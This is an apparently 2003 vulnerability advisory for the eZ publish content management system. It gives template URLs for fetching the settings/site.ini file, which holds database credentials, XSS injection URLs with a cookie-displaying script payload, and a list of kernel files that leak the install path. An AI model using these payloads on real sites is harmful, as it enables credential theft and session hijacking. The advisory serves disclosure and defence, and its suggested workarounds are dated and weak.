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Security Corporation Security Advisory [SCSA-016]

Multiple vulnerabilities in Ez publish

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PROGRAM: Ez publish

HOMEPAGE: http://www.ez.no

VULNERABLE VERSIONS: 3.0 and prior ?

RISK: Medium/High

IMPACT: Sensitive information disclosure

Cross Site Scripting

Path Disclosure

RELEASE DATE: 2003-04-15

Security Corporation's Free weekly Newsletter :

http://www.security-corporation.com/index.php?id=newsletter

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TABLE OF CONTENTS

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1..........................................................DESCRIPTION

2..............................................................DETAILS

3.............................................................EXPLOITS

4............................................................SOLUTIONS

5...........................................................WORKAROUND

6........................................................VENDOR STATUS

7..............................................................CREDITS

8...........................................................DISCLAIMER

9...........................................................REFERENCES

10............................................................FEEDBACK

1. DESCRIPTION

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"eZ publish 3 is an open source content management system and

development framework. "

(direct quote from http://www.ez.no)

2. DETAILS

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¤ Sensitive information disclosure :

A security vulnerability was found in Ez publish which allow

a remote attacker to access to sensitive informations such

as database's name and password.

This vulnerability can be triggered by a remote user submitting

a specially crafted HTTP request.

For example, an attacker can download the site.ini file and

disclose numerous informations like this :

---- site.ini -----

[DatabaseSettings]

DatabasePluginPath=

# Use either ezmysql or ezpostgresql

DatabaseImplementation=ezmysql

Server=localhost

User=nextgen

Password=nextgen

Database=nextgen

# Enable slave servers

# The slave servers will only be used for read queries

# Useful for load balanced environments

UseSlaveServer=disabled

#SlaveServerArray[]=localhost

#SlaverServerUser[]=nextgen

#SlaverServerPassword[]=nextgen

#SlaverServerDatabase[]=nextgen

# The number of times to reconnect if the first fails

ConnectRetries=0

Charset=iso-8859-1

# Use charset conversion routines in DB if possible

UseBuiltinEncoding=true

Socket=disabled

SQLOutput=disabled

UsePersistentConnection=disabled

[SiteSettings]

# Name of the site, will be used in default templates in titles.

SiteName=eZ publish

# URL of site, often used to link to site in emails etc.

SiteURL=mysite.com

# List of metadata to set in pagelayout

MetaDataArray[author]=eZ systems

MetaDataArray[copyright]=eZ systems

MetaDataArray[description]=Content Management System

MetaDataArray[keywords]=cms, publish, e-commerce, content management

Dir=

# Which page to show when the root index (/) is accessed

IndexPage=/content/view/sitemap/2/

# What to do when a module does not exists, use either defaultpage or

displayerror

ErrorHandler=displayerror

# Displayed if an error occurs and ErrorHandler is set to defaultpage

DefaultPage=/content/view/sitemap/2/

# Default access is needed when uri type matching is done, this is

# because with empty urls it's not possible to fetch the access

DefaultAccess=demo

# How the login page should be handled, use embedded to show inside default

pagelayout

# or custom for loginpagelayout.tpl

LoginPage=custom

# The SSL port, the default should be OK for most sites but can be

# changed if different. If the port is detect all redirects will

# be done with https protocol.

SSLPort=443

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¤ Cross Site Scripting :

Many exploitable bugs was found in Ez publish which cause script

execution on client's computer by following a crafted url.

This kind of attack known as "Cross-Site Scripting Vulnerability"

is present in many section of the web site, an attacker can input

specially crafted links and/or other malicious scripts.

¤ Path Disclosure :

Many vulnerabilities have been found in Ez publish which allow

attackers to determine the physical path of the application.

These vulnerabilities would allow a remote user to determine the

full path to the web root directory and other potentially

sensitive information. This vulnerability can be triggered by a

remote user submitting a specially crafted HTTP request.

3. EXPLOITS

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¤ Sensitive information disclosure :

http://[target]/settings/[file_name]

For example :

http://[target]/settings/site.ini

¤ Cross Site Scripting :

http://[target]/index.php/content/search/?SectionID=3&SearchText=

[hostile_co

de]

http://[target]/index.php/content/advancedsearch/?SearchText=[hostile_co
de]

&

PhraseSearchText=[hostile_code]&SearchContentClassID=-1&SearchSectionID=
-

1&S

earchDate=-1&SearchButton=Search

http://[target]/index.php/[any_section]/">[hostile_code]<

http://[target]/index.php/"><script>[hostile_code]<

The hostile code could be :

[script]alert("Cookie="+document.cookie)[/script]

(open a window with the cookie of the visitor.)

(replace [] by <>)

¤ Path Disclosure :

Numerous files of the kernel directory are affected.

http://[target]/kernel/class/delete.php

http://[target]/kernel/class/edit.php

http://[target]/kernel/class/ezcontentclassfeature.php

http://[target]/kernel/class/groupedit.php

http://[target]/kernel/class/grouplist.php

http://[target]/kernel/class/list.php

http://[target]/kernel/class/removeclass.php

http://[target]/kernel/class/removegroup.php

http://[target]/kernel/class/classlist.php

http://[target]/kernel/class/copy.php

http://[target]/kernel/classes/ezorderitem.php

http://[target]/kernel/classes/ezpersistentobject.php

http://[target]/kernel/classes/ezpolicy.php

http://[target]/kernel/classes/ezpolicylimitation.php

http://[target]/kernel/classes/ezpolicylimitationvalue.php

http://[target]/kernel/classes/ezproductcollection.php

http://[target]/kernel/classes/ezproductcollectionitem.php

http://[target]/kernel/classes/ezproductcollectionitemoption.php

http://[target]/kernel/classes/ezrole.php

http://[target]/kernel/classes/ezsearch.php

http://[target]/kernel/classes/ezsearchlog.php

...

4. SOLUTIONS

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No solution for the moment.

5. WORKAROUND

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¤ Sensitive information disclosure :

We strongly urge you to use a .htaccess file for the sensitive

informations like settings files.

¤ Cross Site Scripting :

Use the function php eregi_replace to filter the input data.

¤ Path Disclosure :

You can fix the path disclosure problem by adding this code in

all the affected files :

-------CUT-------

error_reporting(0);

-------CUT-------

6. VENDOR STATUS

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The vendor has reportedly been notified.

7. CREDITS

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Discovered by Gregory Le Bras <gregory.lebras (at) security-corporation (dot) com [email concealed]>

8. DISLAIMER

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The information within this paper may change without notice. Use of

this information constitutes acceptance for use in an AS IS condition.

There are NO warranties with regard to this information. In no event

shall the author be liable for any damages whatsoever arising out of

or in connection with the use or spread of this information. Any use

of this information is at the user's own risk.

9. REFERENCES

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- Original Version:

http://www.security-corporation.com/index.php?id=advisories&a=016

- Version Française:

http://www.security-corporation.com/index.php?id=advisories&a=016-FR

10. FEEDBACK

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Please send suggestions, updates, and comments to:

Security Corporation

http://www.security-corporation.com

info (at) security-corporation (dot) com [email concealed]

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